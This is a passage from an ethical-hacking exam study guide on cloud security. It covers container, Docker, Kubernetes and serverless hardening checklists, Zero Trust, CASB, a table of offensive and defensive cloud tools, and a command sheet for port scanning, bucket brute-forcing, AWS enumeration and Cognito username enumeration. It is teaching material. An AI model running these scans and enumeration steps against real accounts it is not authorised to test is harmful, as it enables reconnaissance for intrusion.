10. **A10 Insufficient Logging and Monitoring** -> use the cloud provider's monitoring tools (Azure Monitor, AWS CloudTrail) to detect anomalous behavior.

Real-world use: A serverless API fixing A6 enables AWS Trusted Advisor's public-resource checks specifically to catch any Lambda Function URL accidentally left with `NONE` authentication (the exact exposure demonstrated in section 3.43).

Tools and commands used here: AWS Trusted Advisor, AWS CloudTrail, Azure Monitor (defender-side tools referenced in solutions).

Countermeasures and defense: This table IS the countermeasure reference; apply each fix directly against its matching A-numbered risk from section 3.11.

EXAM FOCUS: Because this list reuses the familiar OWASP web Top 10 labels (A1-A10), it is easy to accidentally answer with a WEB APP countermeasure instead of the SERVERLESS-specific nuance (for example, A6's serverless-specific advice about unlinked triggers and function timeouts, which has no direct web-app equivalent).

Memory trick: "Same A1-A10 names as the web Top 10, but read each solution with 'function' and 'trigger' in mind, not just 'web page.'"

3.95 Best Practices for Container Security

What it is: A 12-item checklist for securing containers broadly, covering monitoring, access control, scanning, and architecture.

How it works (12 practices):

1. Regularly monitor the CVEs of the container runtime and remediate any detected vulnerabilities.
2. Enable comprehensive logging and auditing to track access and configuration changes to containers.
3. Configure applications to run as normal (non-root) users to prevent privilege escalation.
4. Configure the host's root filesystem in read-only mode to restrict write access.
5. Employ application security scanning tools to protect containers from malicious software.
6. Perform regular scanning of images in the repository to identify vulnerabilities.
7. Deploy application firewalls to enhance container security and block threats before they enter the environment.

8. Use a separate database for each application, for greater visibility into individual applications.
9. Regularly update the host operating system and kernel to the latest security patches.
10. Configure orchestrators to deploy sets of hosts separately, based on workload sensitivity level.
11. Automate compliance checks against container runtime configuration standards.
12. Maintain a set of trusted registries and images, and permit only images from that set to run.

Real-world use: Item 10 directly fixes the "Mixing of Workload Sensitivity Levels" vulnerability from section 3.14, by physically separating hosts for high- and low-sensitivity workloads at the orchestrator level.

Countermeasures and defense: This list IS the countermeasure reference for section 3.14's Container Vulnerabilities; apply it as a direct checklist.

EXAM FOCUS: Item 12, "maintain a set of trusted registries/images," is the direct fix for the "Hijacked Image Registry" and "Unreliable Third-Party Resources" vulnerabilities (section 3.14); a question may test this exact pairing.

Memory trick: "Run as non-root, read-only root filesystem, scan everything, trust only your own registries."

3.96 Best Practices for Docker Security

What it is: A 14-item checklist specific to securing Docker deployments, covering daemon exposure, image trust, privilege restriction, and logging.

How it works (14 practices):

1. Avoid exposing the Docker daemon socket (the single most repeated warning in this module; see section 3.85's exploit).
2. Always use trusted Docker images only.
3. Regularly patch the host OS and Docker itself with the latest security updates.
4. Limit container capabilities, allowing access only to the features the container actually needs.
5. Always run Docker images with `--security-opt=no-new-privileges` to block privilege-escalation attacks.
6. Disable inter-container communication for the Docker daemon using `--icc=false`.
7. Use Linux security modules such as seccomp, AppArmor, and SELinux for fine-grained control over the RESTful API.
8. Enable read-only mode on filesystems and volumes using the `--read-only` flag.
9. Set the Docker daemon log level to `info`, and avoid running the daemon with the `debug` log level.
10. Configure the container application to run as an unprivileged user to prevent privilege escalation attacks.

11. Check that Docker images from a remote registry are digitally signed, using Docker Content Trust.
12. (Reinforces item 2/11: only verified, trusted, signed images.)
13. Always store sensitive data in Docker volumes for enhanced data security, not inside the image itself.
14. Use tools such as InSpec and dive to detect Docker vulnerabilities.

Real-world use: Enabling Docker Content Trust (item 11) would have directly blocked the CCAT backdoor-image attack described in section 3.53, since a tampered, unsigned image would be rejected automatically on pull.

Tools and commands used here: `--security-opt=no-new-privileges`, `--icc=false`, `--read-only`, Docker Content Trust, InSpec, dive (full flag references; see section 5 for related Docker syntax where applicable).

Countermeasures and defense: This list IS the countermeasure reference for Docker-specific risks (sections 3.6, 3.14, 3.53, 3.85).

EXAM FOCUS: Memorize the specific flags: `--security-opt=no-new- privileges`, `--icc=false`, `--read-only`; a question may give one of these flags and ask what risk it mitigates.

Memory trick: "Lock the socket, sign the image, drop the privileges, read-only the filesystem."

3.97 Best Practices for Kubernetes Security

What it is: A 14-item checklist specific to securing Kubernetes deployments, covering validation, credential handling, logging, and encryption.

How it works (14 practices, selected highlights not already covered in section 3.93):

1. Ensure proper validation of file contents and their path at every stage of processing.
2. Implement a configurable method for credential paths; never depend on hardcoded paths.
3. Raise errors explicitly after each step of a compound operation.
4. Use the copy-then-rename method for log rotation so logs are not lost when restarting the kubelet.
5. Use well-tested JSON libraries and proper type structures for secure, reliable JSON handling.
6. Never use compound shell commands without proper validation.
7. Explicitly check the returned error value of `os.Readlink /proc/<pid>/exe` to determine if a PID is a kernel thread.
8. Use common parsing functions (such as `ParsePort`) consistently across the codebase to increase code readability and reduce bugs.
9. Limit the size of manifest files, to prevent Out-Of-Memory errors in kubelet.

10. Use `kube-apiserver` instances that maintain Certificate Revocation Lists (CRLs) to check presented certificates.
11. Use a Key Management Service (KMS) to enable secret data encryption; avoid using AES-CBC or GCM directly for this purpose.
12. Avoid using legacy SSH tunnels, since they do not properly validate the server's IP address.
13. Use OCSP stapling to check certificate revocation status.
14. Use TLS in both development and production configurations, to reduce misconfiguration-related vulnerabilities.

Real-world use: Item 11 (KMS-based secret encryption) is the exact fix needed to prevent the `etcdctl` plaintext-secret extraction demonstrated in section 3.88.

Tools and commands used here: KMS providers, OCSP stapling, TLS configuration (cluster-distribution-specific; no single universal CLI syntax given in the source).

Countermeasures and defense: This list IS the countermeasure reference for Kubernetes-specific risks beyond the direct section 3.93 pairing; apply alongside section 3.93 for full coverage.

EXAM FOCUS: Item 11's specific guidance (use KMS, avoid AES-CBC/ GCM directly for this particular purpose) is a nuanced, testable detail; do not assume "any encryption" satisfies this best practice.

Memory trick: "Validate every input, never hardcode a path, encrypt secrets through KMS, not raw AES modes."

3.98 Best Practices for Serverless Security

What it is: A 12-item checklist specific to securing serverless (FaaS) deployments, covering permissions, monitoring, input handling, and API gateway configuration.

How it works (12 practices):

1. Minimize serverless permissions during development to reduce the attack surface area from the start.
2. Regularly monitor function layers to identify malicious code injection attempts.
3. Use third-party security tools for additional layers of visibility and control.
4. Regularly patch and update function dependencies and applications.
5. Use tools such as Snyk to scan serverless applications for known vulnerabilities.
6. Properly sanitize event input to prevent code injection attacks.
7. Use security libraries that disable unneeded resource access and implement runtime least-privilege.
8. Deploy functions with minimal granularity (one job per function) to avoid implicit global roles.
9. Employ data validation on schemas/objects, instead of relying on data serialization/ deserialization alone.

10. Leverage API Gateway capabilities for input data filtering, traffic throttling, and rate limiting.
11. Audit and monitor functions by enforcing verbose, safe logging of function events.
12. Use secure coding practices and perform code review sessions to patch vulnerable application code.

Real-world use: Item 6 (sanitize event input) directly prevents the black-box Lambda attack from section 3.56, where a crafted filename was injected as an S3 event's input to trigger unintended shell command execution.

Tools and commands used here: Snyk (vulnerability scanning), API Gateway throttling/rate-limiting configuration.

Countermeasures and defense: This list IS the countermeasure reference for serverless-specific risks (sections 3.10, 3.43, 3.56, 3.94); apply directly.

EXAM FOCUS: Item 8, "deploy functions with minimal granularity," ties directly to the Function-as-a-Service philosophy itself (section 3.10): the smaller and more single-purpose each function, the smaller the blast radius if one is compromised.

Memory trick: "Least permission, least granularity, most sanitization - the serverless security triangle."

3.99 Zero Trust Networks

What it is: The Zero Trust model assumes every user trying to access the network is untrusted by default, and verifies every incoming connection before allowing access, following the principle "trust no one, validate before providing a cloud service."

How it works (Zero Trust Network components):

1. All traffic, whether from the Internet or a remote employee, passes through a Control Plane before reaching anything else.
2. A Secure Gateway sits in front of resources, enforcing verification for every connection attempt.
3. Even a Remote Employee must be verified each time, the same as any untrusted client coming from the open Internet.
4. Behind the gateway sit a Load Balancer, then differentiated resources: a Legacy Service, a Private Service, a Vendor Service, an App Server, and a PCI Server, each still requiring its own verified access, not blanket trust just because the request made it past the perimeter.

Real-world use: Under Zero Trust, an employee's laptop that is already inside the corporate office network still must authenticate and get authorized for each specific service it tries to reach, the same as if that employee were connecting from a coffee shop.

Countermeasures and defense: Zero Trust itself IS the countermeasure model: implement strict identity verification, micro-segmentation between services (so reaching

one, like a Legacy Service, does not imply trust for another, like a PCI Server), and continuous monitoring of every connection, not just the perimeter.

EXAM FOCUS: The classic contrast is Zero Trust ("never trust, always verify," no implicit trust based on network location) versus the older perimeter/castle-and-moat model ("trusted inside, untrusted outside"); a question describing "an internal user still had to re-authenticate for each service" is testing Zero Trust recognition.

Memory trick: "Trust no one, validate before providing a cloud service" - the model's own stated principle, word for word.

3.100 Cloud Access Security Broker (CASB)

What it is: A Cloud Access Security Broker (CASB) is an on-premise or cloud-hosted solution responsible for enforcing security, compliance, and governance policies for cloud applications, sitting between cloud service consumers and cloud service providers.

Analogy: A CASB is like a security desk in an office lobby that every visitor (and every piece of data) must pass through before reaching any floor (cloud service), regardless of which floor they are actually heading to.

How it works:

1. The organization's devices (computer, mobile, laptop) connect through the CASB before reaching any SaaS, IaaS, or PaaS cloud service.
2. The CASB enforces 4 core pillars: Visibility (what is being used and by whom), Compliance (meeting regulatory requirements), Data Security (protecting sensitive information in transit and at rest), and Threat Protection (detecting and blocking malicious activity).
3. CASBs connect via enterprise integration and API access to the cloud services themselves, enforcing policy consistently across every service the organization uses.
4. Azure's native security services include CASB functionality directly.

Real-world use: A CASB blocks an employee from uploading a spreadsheet containing customer social security numbers to a personal (non-corporate) cloud storage account, even though the employee is otherwise authorized to use cloud storage services generally.

Countermeasures and defense: CASB itself IS a defensive control; deploy one wherever an organization uses multiple SaaS/IaaS/PaaS services, to get consistent policy enforcement without configuring each cloud service's native controls separately.

EXAM FOCUS: Memorize the 4 CASB pillars: Visibility, Compliance, Data Security, Threat Protection; a question may list a CASB behavior and ask which pillar it demonstrates.

Memory trick: "VCDT: Visibility, Compliance, Data security, Threat protection - CASB's four pillars."

3.101 Module Summary

What it is: The module's closing recap: cloud computing concepts and service types, container technology and serverless computing, cloud computing threats and attacks, cloud hacking techniques across AWS, Azure, GCP, and containers, and countermeasures for protecting the cloud environment.

EXAM FOCUS: Use this summary as a final self-check: for each of the five bullet areas, confirm you can name at least 3 specific examples from this guide without looking them up.

Memory trick: "Concepts, Containers, Threats, Hacking (AWS/Azure/ GCP/Containers), Countermeasures" - the module's own 5-part closing recap, matching its opening Learning Objectives (section 3.1).

> **REMEMBER:** The next module (Module 20: Cryptography) covers how attackers, ethical hackers, and pen testers use cryptography to protect data, building directly on the symmetric/asymmetric cryptography references made throughout this module (sections 3.2, 3.13, 3.89).

4. Tool Encyclopedia

All tools below come from Module 19 unless marked "(added)" for a close exam alternative. Phase follows the cloud hacking methodology (section 3.29): Info Gathering, Vulnerability Assessment, Exploitation, Post-Exploitation; container/Kubernetes-only tools are marked accordingly.

4.1 Recon and Target Identification Tools

Tool	What it does (simple)	Platform	Phase	Exam keyword
Shodan	Search engine indexing internet-facing banners	Any cloud	Info Gathering	"ssl.cert.issuer.cn", search filters
Censys	Internet-wide scanning search engine	Any cloud	Info Gathering	"banner-grabbing search engine"
Masscan	Extremely fast internet-scale port scanner	Any cloud	Info Gathering	"fastest scanner", millions pps
Google dorking (added)	Search operators to find indexed cloud URLs	Any cloud	Info Gathering	"inurl:", "site:"

Tool	What it does (simple)	Platform	Phase	Exam keyword
GrayhatWarfare (added)	Finds publicly accessible storage buckets	AWS/GCP/Azure	Info Gathering	"public bucket search engine"

4.2 Cloud Misconfiguration and Vulnerability Scanners

Tool	What it does (simple)	Platform	Phase	Exam keyword
Prowler	Multi-cloud misconfig/vuln scanner, CLI-first	AWS/Azure/GCP/K8s	Vuln Assessment	"--services", "--checks"
CloudSploit	Scans for misconfigs, maps to compliance frameworks	AWS (multi-cloud)	Vuln Assessment	"--compliance=hipaa/pci/cis"
Scout Suite	Multi-cloud auditing with one dashboard	AWS/Azure/GCP	Vuln Assessment	"one dashboard, three clouds"
Cloudsplaining	Finds weak/violated AWS IAM policies offline	AWS	Vuln Assessment	"get-account-authorization-details"
GCP Privilege Escalation Scanner	Finds GCP IAM privilege escalation paths	GCP	Vuln Assessment	"check_for_privesc.py"

4.3 AWS Enumeration and Recon Tools

Tool	What it does (simple)	Platform	Phase	Exam keyword
AWS CLI (`aws`)	Official AWS command-line client	AWS	Info/Exploit/Post	"aws describe-/list-"
CloudBrute	Brute-forces/validates cloud storage bucket names	AWS (multi-cloud)	Info Gathering	"200: Open", "403: Protected"
S3Scanner	Scans a bucket-name list for existing S3 buckets	AWS	Info Gathering	"exists", ACL permission listing

Tool	What it does (simple)	Platform	Phase	Exam keyword
Bucket Finder / "Bucket Flaws"	Finds open AWS S3 buckets	AWS	Info Gathering	S3 bucket finder tool list
BucketLoot	Scans discovered buckets for sensitive files	AWS (multi-cloud)	Info Gathering	"POTENTIALLY SENSITIVE FILE"
lazys3 (added)	Brute-forces S3 bucket names	AWS	Info Gathering	S3 bucket finder tool list
s3-buckets-bruteforcer	Brute-forces S3 bucket names	AWS	Info Gathering	S3 bucket finder tool list
Ghostbuster	Enumerates DNS/ Route 53 records, dangling IPs	AWS	Info Gathering	"GhostbusterTargetAccountRole"
Cartography	Graph database mapping cloud resource relations	AWS/GCP	Info Gathering	"Neo4j", Cypher query, attack path
CloudFox	Targeted CLI checks for AWS attack paths	AWS	Info/Vuln	"all-checks", "workloads"
Principal Mapper	Visualizes IAM users/roles, privesc paths	AWS	Vuln Assessment	"visualize IAM"

4.4 AWS Exploitation and Post-Exploitation Tools

Tool	What it does (simple)	Platform	Phase	Exam keyword
Pacu	Open-source AWS exploitation framework	AWS	Exploitation	"hijack IAM roles", AssumeRole
Stratus Red Team	Threat emulation/ BAS, mapped to MITRE ATT&CK	AWS/Azure/GCP/ K8s	Exploitation (safe)	"stratus detonate", "Atomic Red Team for cloud"
CCAT (Cloud Container Attack Tool)	Enumerates/ backdoors Docker images via ECR	AWS	Exploitation	"Docker Backdoor" module
DumpsterDiver	Scans files/ directories for hardcoded secrets	AWS (generic)	Vuln/Exploit	"high entropy", AWS_KEY

Tool	What it does (simple)	Platform	Phase	Exam keyword
SkyArk	Finds shadow admins in AWS and Azure	AWS/Azure	Vuln Assessment	"AWStealth", "AzureStealth"
Endgame	Mass-exposes AWS resources to create backdoors	AWS	Post-Exploitation	"smash --service all"
AssumeRoleEnum	Enumerates/ assumes vulnerable IAM roles	AWS	Exploitation	"Found vulnerable role"

4.5 Azure Recon, Enumeration, and Exploitation Tools

Tool	What it does (simple)	Platform	Phase	Exam keyword
AADInternals	Azure AD/O365 admin, recon, exploit PowerShell module	Azure	Info Gathering	"Invoke-AADIntReconAsOutsider"
MicroBurst	Automates Azure resource/service enumeration	Azure	Info Gathering	"Get-AzDomainInfo"
AzureGraph	Enumerates Azure AD users via Microsoft Graph	Azure	Info Gathering	"gr$list_users()"
Spray365	Password spraying against Azure AD	Azure	Exploitation	"generate", "spray", delay flag
Stormspotter	Maps Azure subscription attack surface	Azure	Info Gathering	"sscollector.pyz"
AzureHound	Collects AzureAD/ AzureRM data for BloodHound	Azure	Info Gathering	"azurehound list"
Goblob	Finds publicly exposed Azure Blob storage	Azure	Info Gathering	"-accounts", public blob
BloodHound (added)	Visualizes identity attack paths (AD/ Azure AD)	On-prem AD/ Azure	Vuln Assessment	"shortest path to Domain/Global Admin"

4.6 GCP Recon and Exploitation Tools

Tool	What it does (simple)	Platform	Phase	Exam keyword
Google Cloud CLI (`gcloud`/`gsutil`)	Official GCP command-line clients	GCP	Info/Exploit/Post	"gcloud", "gsutil"
GCP Scanner (gcp-scanner)	Measures access level of given credentials	GCP	Info Gathering	"-k", "-g", "--use-metadata"
cloud_enum	Multi-cloud bucket/resource name enumerator	AWS/Azure/GCP	Info Gathering	"--disable-aws --disable-azure"
GCP Privilege Escalation Scanner	Enumerates and checks IAM privesc paths	GCP	Vuln Assessment	"enumerate_member_permissions.py"
GCPBucketBrute	Brute-forces GCS buckets, checks IAM/privesc	GCP	Exploitation	"VULNERABLE TO PRIVILEGE ESCALATION"

4.7 Container and Kubernetes Tools

Tool	What it does (simple)	Platform	Phase	Exam keyword
Docker (CLI/daemon)	Builds, ships, and runs containers	Containers	Info/Exploit/Post	"docker -H", Remote API
kubectl	Official Kubernetes command-line client	Kubernetes	Info Gathering	"kubectl get/describe/logs"
etcdctl	CLI client for Kubernetes' `etcd` data store	Kubernetes	Post-Exploitation	"ETCDCTL_API=3", "/registry/secrets/"
Trivy	Scans OS packages and app dependencies for CVEs	Containers	Vuln Assessment	package/version, suggested fix
Sysdig	Scans Kubernetes via CI/CD, registry, admission	Kubernetes	Vuln Assessment	"admission controllers"

Tool	What it does (simple)	Platform	Phase	Exam keyword
Kubescape	Kubernetes security/ compliance scanner	Kubernetes	Vuln Assessment	tool list item
kube-hunter	Penetration-testing tool for live K8s clusters	Kubernetes	Exploitation	"hunts" a live cluster
kubeaudit	Audits Kubernetes clusters for common misconfigs	Kubernetes	Vuln Assessment	tool list item
KubiScan	Finds risky roles/ role bindings in Kubernetes	Kubernetes	Vuln Assessment	tool list item
Krane	Kubernetes RBAC static analysis tool	Kubernetes	Vuln Assessment	tool list item
LXD/LXC	System container manager and runtime	Containers	Exploitation	"lxd group", privesc
distrobuilder	Builds LXD/LXC container images	Containers	Exploitation	"build-lxd"
InSpec (added)	Compliance-as-code auditing, including Docker	Containers	Vuln Assessment	tool list item
dive	Explores Docker image layers for inefficiency/risk	Containers	Vuln Assessment	tool list item

EXAM TIP: When two tools look similar, match the exact artifact: "duplicate the body in the header" -> wrapping attack (not a tool); "find secrets by randomness" -> DumpsterDiver; "map the whole account as a graph" -> Cartography (AWS/GCP) or Stormspotter (Azure); "measure what a stolen token can do" -> GCP Scanner; "brute-force bucket names, then check setIamPolicy" -> GCPBucketBrute; "Atomic Red Team but for cloud" -> Stratus Red Team.

5. Command Sheet (I have no lab, so teach me to read commands)

How to read any command below: the first word is the program; words starting with `-` or `--` are flags (options); a flag may take a value right after it; everything else is a target or argument. A `$` prompt means a normal user shell; a `#` prompt means a root shell. Commands are grouped by tool, in the order they first appear in section 3.

5.1 Masscan (fast port scanning)

Purpose: scan a huge IP range or full port range very fast to find every open port on cloud-hosted targets.

Full syntax:

```
sudo masscan -p<port_range> <target_IP> --rate=<rate>
sudo masscan -p<port_range> <target_IP> --rate=<rate> \
    -oJ <output_file>.json
```

Breakdown:

- `-p0-65535` scans every possible port (0 through 65535).
- `<target_IP>` is a single IP or a CIDR range (such as `10.0.0.0/24`).
- `--rate=1000` sets packets-per-second; attackers often raise this much higher for speed.
- `-oJ <file>` saves output in JSON format (`-oX` saves XML instead).

Flag table:

Flag	Meaning	When to use	Example
`-p`	Port or port range to scan	Narrowing or widening scope	`-p0-65535`
`--rate`	Packets per second	Controlling scan speed	`--rate=1000`
`-oJ` / `-oX`	Save results to JSON/ XML	Keeping scan records	`-oJ scan.json`

Demo commands:

```
sudo masscan -p0-65535 20.50.43.17 --rate=1000
sudo masscan -p0-65535 20.50.43.17 --rate=1000 \
    -oJ scan_results.json
```

Sample output, line by line:

```
Starting masscan 1.3.2 at 2024-06-28 05:53:20 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 5220
Discovered open port 4520
```

The first 3 lines confirm the scan started and its scope; each "Discovered open port" line is one finding, reported as soon as Masscan sees a reply, not batched at the end.

Common mistakes: forgetting `sudo` (Masscan needs raw socket access); setting `--rate` too high against a network that is not yours, which looks like a DoS attack and may be illegal/detected.

What the exam asks: recognizing Masscan by its SPEED/SCALE framing versus Nmap; reading the port-range flag `-p0-65535`.

5.2 Prowler (multi-cloud scanning)

Purpose: run a large battery of security checks against a cloud account and get a structured report of findings.

Full syntax:

```
prowler <provider>
prowler <provider> -M csv json-asff json-ocsf html
prowler azure --checks storage_blob_public_access_level
prowler aws --services s3 ec2
prowler gcp --services iam compute
prowler kubernetes --services etcd apiserver
```

Breakdown:

- `<provider>` is `aws`, `azure`, `gcp`, or `kubernetes`.
- `-M` selects one or more output formats for the report.
- `--checks` runs one named check only.
- `--services` limits the scan to specific services only.

Flag table:

Flag	Meaning	When to use	Example
`-M`	Output format(s)	Generating a shareable report	`-M html`
`--checks`	Run specific check(s)	Targeted re-test	`--checks s3_bucket_public`
`--services`	Limit scan to named services	Faster, focused scan	`--services s3 ec2`

Demo commands:

```
prowler aws
prowler aws --services s3 ec2
```

Sample output, line by line:

```
This is the handy multi-cloud security tool
Using the AWS credentials below:
-> AWS Account: 987654321987
-> Caller Identity ARN: arn:aws:iam::...:user/ernest
```

These first lines confirm WHICH account and WHICH identity Prowler is scanning with, before any findings appear; always check this matches the intended target account.

Common mistakes: running Prowler with an identity that lacks read permissions on many services, producing an incomplete (falsely reassuring) report; not specifying `-M` and losing the report in terminal scroll.

What the exam asks: matching Prowler's provider-first command style (`prowler aws`, `prowler azure`) to the multi-cloud concept.

5.3 CloudSploit (misconfiguration + compliance scanning)

Purpose: scan a cloud account for misconfigurations and optionally map results to a compliance framework.

Full syntax:

```
node index.js
node index.js --compliance=hipaa
node index.js --compliance=pci
node index.js --compliance=cis
node index.js --console=text
```

Breakdown: `index.js` is CloudSploit's main script; `--compliance` tags every finding against a named framework instead of a generic list; `--console` controls how results print to the terminal.

Flag table:

Flag	Meaning	When to use	Example
`--compliance`	Map findings to a framework	Audit evidence	`--compliance=pci`
`--console`	Output format to terminal	Plain-text review	`--console=text`

Demo commands:

```
node index.js --compliance=pci
```

Sample output, line by line:

```
INFO: Testing plugin: ACM Certificate Validation
WARN: cloudsample.com is using EMAIL validation.
```

`INFO` lines show which check is running; `WARN` lines are findings; here, a certificate uses weaker EMAIL validation instead of DNS validation.

Common mistakes: confusing an `INFO` status line (just progress) with an actual `WARN`/`FAIL` finding when skimming output quickly.

What the exam asks: matching `--compliance=` flag values (hipaa, pci, cis) to the framework they represent.

5.4 S3Scanner and BucketLoot (bucket content scanning)

Purpose: confirm which candidate S3 bucket names exist and are accessible, then scan their contents for sensitive files.

Full syntax:

```
s3scanner scan --bucket-file <bucket_list.txt>
bucketloot <bucket_url> [options]
```

Breakdown: S3Scanner takes a text file of candidate bucket names, one per line, and checks each. BucketLoot takes one bucket's URL and crawls its listed objects for sensitive filenames/content.

Demo commands:

```
s3scanner scan --bucket-file buckets.txt
bucketloot https://bucketloot-testing.bir1\
    .digitaloceanspaces.com/
```

Sample output, line by line:

```
INFO exists sifoto us-east-1 AllUsers: [READ] 0 objects
```

`exists` confirms the bucket name is real; `AllUsers: [READ]` means anyone on the internet can read it; `0 objects` means it is currently empty (still worth monitoring for future uploads).

```
Discovered POTENTIALLY SENSITIVE FILE: Jenkins credentials
file in https://bucketloot-testing.bir1...
```

BucketLoot specifically flags files it recognizes as sensitive by name/pattern, such as a Jenkins credentials file.

Common mistakes: treating `AllUsers: []` (empty permission list) the same as `AllUsers: [READ]`; only the latter means public read access actually exists.

What the exam asks: reading an S3Scanner/BucketLoot output line and identifying whether a bucket is public and what, if anything, sensitive was found.

5.5 CloudBrute (bucket name brute force)

Purpose: generate and validate candidate cloud storage bucket names for a target and keyword, across providers.

Full syntax:

```
./cloudbrute -d <target.com> -k <keyword> -t 80 -T 10 \
    -w /path_to_wordlist.txt
```

Breakdown: `-d` sets the target domain/organization; `-k` sets a keyword to combine with wordlist entries; `-t` sets concurrent threads; `-T` sets a timeout in seconds; `-w` points to the wordlist file of name fragments to try.

Flag table:

Flag	Meaning	When to use	Example
`-d`	Target domain	Scoping the search	`-d amazon.com`
`-k`	Keyword to combine	Targeting a brand/team	`-k facebook`
`-t`	Thread count	Speed vs. load	`-t 80`
`-T`	Timeout (seconds)	Avoiding hangs	`-T 10`
`-w`	Wordlist file path	Supplying name fragments	`-w list.txt`

Demo commands:

```
./cloudbrute -d amazon.com -k facebook -t 80 -T 10 \
    -w /home/attacker/bucket_list.txt
```

Sample output, line by line:

```
INF Detect provider path: config/modules
INF Initialized amazon config
403: Protected - facebook-test.s3.amazonaws.com
200: Open facebookcontent.s3.amazonaws.com
```

The `INF` lines confirm setup; each result line shows the HTTP status for one generated candidate name. `403` means the name exists but is access-protected; `200: Open` means the bucket is public.

Common mistakes: stopping at the first `403` result and assuming nothing is open; CloudBrute checks hundreds to thousands of names, and the open one may appear much later in the run.

What the exam asks: telling `403` (exists, protected) apart from `200` (exists, open) in CloudBrute-style output.

5.6 AWS CLI: Enumerating EC2 Instances

Purpose: list and inspect EC2 compute resources, networking, and related configuration using read-only `describe-*` commands.

Full syntax (representative set):

```
aws ec2 describe-instances
aws ec2 describe-volumes
aws ec2 describe-snapshots
aws ec2 describe-security-groups
aws ec2 describe-fleet-instances
aws ec2 describe-fleets
aws ec2 describe-hosts
aws iam get-instance-profile \
    --instance-profile-name <profile_name>
aws ec2 describe-key-pairs
aws ec2 describe-subnets
aws ec2 describe-vpc-endpoints
aws ec2 describe-vpc-peering-connections
```

Breakdown: every command follows `aws <service> describe- <resource>`; none require a flag to run a basic account-wide listing, though `--profile` and `--region` (global AWS CLI flags) can scope which credentials/region are queried.

Flag table:

Flag	Meaning	When to use	Example
`--profile`	Named local credential profile	Multi-account testing	`--profile stolen_profile`
`--region`	AWS region to query	Checking non-default regions	`--region us-west-2`
`--instance-profile-name`	Target one instance profile	Checking a role's profile	see above

Demo commands:

```
aws ec2 describe-instances --region us-west-2
aws iam get-instance-profile \
    --instance-profile-name web-server-role
```

Sample output, line by line (trimmed):

```
{
  "Reservations": [{
    "Instances": [{
      "InstanceId": "i-0538abc123",
      "PublicDnsName": "ec2-...compute.amazonaws.com"
    }]
  }]
}
```

`InstanceId` identifies the specific VM; `PublicDnsName` confirms it is reachable from the internet, making it a priority recon target.

Common mistakes: forgetting that AWS is REGIONAL, so a single `describe-instances` call without looping through regions misses resources elsewhere (see section 3.61's region-enumeration step).

What the exam asks: recognizing the `describe-*`/`list-*` naming pattern as read-only enumeration, regardless of the specific resource named.

5.7 AWS CLI: Enumerating RDS Instances

Purpose: list and inspect managed relational databases, their security groups, backups, and snapshot sharing status.

Full syntax:

```
aws rds describe-db-instances
aws rds describe-db-instances \
    --db-instance-identifier mydbinstance
aws rds describe-db-security-groups
aws rds describe-db-instance-automated-backups
aws rds describe-db-snapshots
aws rds describe-db-snapshots --include-public \
    --snapshot-type public
```

Breakdown: `--db-instance-identifier` targets one specific database instance by name; `--include-public --snapshot-type public` together filter specifically for snapshots shared publicly across accounts.

Flag table:

Flag	Meaning	When to use	Example
`--db-instance-identifier`	Target one DB instance	Focused lookup	see above
`--include-public`	Include publicly shared items	Finding exposure	combine with next
`--snapshot-type`	Filter snapshot category	`public`, `manual`, `automated`	`--snapshot-type public`

Demo commands:

```
aws rds describe-db-instances \
    --db-instance-identifier prod-db-01
aws rds describe-db-snapshots --include-public \
    --snapshot-type public
```

Sample output, line by line (trimmed):

```
{
  "DBSnapshots": [{
    "DBSnapshotIdentifier": "prod-backup-2024",
    "Status": "available"
  }]
}
```

Each object in `DBSnapshots` is one snapshot; combined with the `public` filter, any result returned here is, by definition, accessible outside the account.

Common mistakes: needing the specific IAM permission `rds:DescribeDBInstances` and related `Describe*` permissions; a credential without them returns an `AccessDenied` error, not an empty list, so do not mistake denial for "nothing exists."

What the exam asks: recognizing `--include-public --snapshot-type public` as the specific flag combination that searches for exposure outside the account.

5.8 Cloudsplaining (offline IAM policy scan)

Purpose: export every IAM policy in an account, then scan the export file for dangerous permission patterns.

Full syntax:

```
aws iam get-account-authorization-details --output json \
    > account-auth-details.json
cloudsplaining scan --input-file account-auth-details.json \
    --output cloudsplaining-report
```

Breakdown: the first command exports every policy attached to every user, group, and role; `cloudsplaining scan` reads that export offline and writes an HTML report to the `--output` folder.

Flag table:

Flag	Meaning	When to use	Example
`--output json`	Export format for the AWS CLI call	Always, for Cloudsplaining input	see above
`--input-file`	File Cloudsplaining reads	Pointing to the export	`account-auth-details.json`
`--output`	Report output folder	Choosing report location	`cloudsplaining-report`

Demo commands:

```
aws iam get-account-authorization-details \
    --output json > auth.json
cloudsplaining scan --input-file auth.json \
    --output report/
```

Sample output (report categories, not terminal text):

```
Role: fp2-allow-and-deny-multiple-policies-role
Risks: Credentials Exposure, Data Exfiltration,
       Privilege Escalation
```

Each principal in the HTML report lists its specific risk categories; "Privilege Escalation" listed here means this exact role matches one of the 8 techniques in section 3.57.

Common mistakes: running `cloudsplaining scan` without first generating a fresh export, leading to a report based on stale, outdated IAM policy data.

What the exam asks: knowing Cloudsplaining works OFFLINE against an exported file, unlike live-querying tools such as Prowler.

5.9 AWS CLI: Enumerating Cognito

Purpose: list and inspect Cognito user pools and identity pools, and check whether a specific username already exists.

Full syntax:

```
aws cognito-idp list-user-pools --max-results 10
aws cognito-idp describe-user-pool \
    --user-pool-id <UserPoolId>
aws cognito-identity list-identity-pools \
    --max-results 10
aws cognito-idp sign-up --client-id <ClientId> \
    --username <username> --password <password> \
    --user-attributes Name=email,Value=<email>
```

Breakdown: `list-user-pools` requires `--max-results` (a required pagination flag); `describe-user-pool` needs the specific pool's ID; `sign-up` is normally a legitimate registration call, repurposed here to test whether a username is already taken, based on the error returned.

Flag table:

Flag	Meaning	When to use	Example
`--max-results`	Max items per page	Required by `list-*` calls	`--max-results 10`
`--user-pool-id`	Target one user pool	Detailed inspection	`--user-pool-id us-east-1_abc`
`--user-attributes`	Attach extra sign-up fields	Supplying email, etc.	`Name=email,Value=x@y.com`

Demo commands:

```
aws cognito-idp list-user-pools --max-results 10
aws cognito-idp sign-up --client-id abc123 \
    --username jane.doe --password 'Temp#12345' \
    --user-attributes Name=email,Value=jane@corp.com
```

Sample output, line by line:

```
An error occurred (UsernameExistsException) when
calling the SignUp operation: User already exists
```

This specific exception name confirms the username is already registered, without the attacker needing valid login credentials at all.

Common mistakes: assuming any error from `sign-up` means the username is free; different exception types (such as `InvalidPasswordException`) mean something else entirely.

What the exam asks: recognizing account enumeration via a registration endpoint's distinct error messages, a pattern that repeats across many login/signup systems, not just Cognito.

5.10 Ghostbuster (Route 53 DNS enumeration)

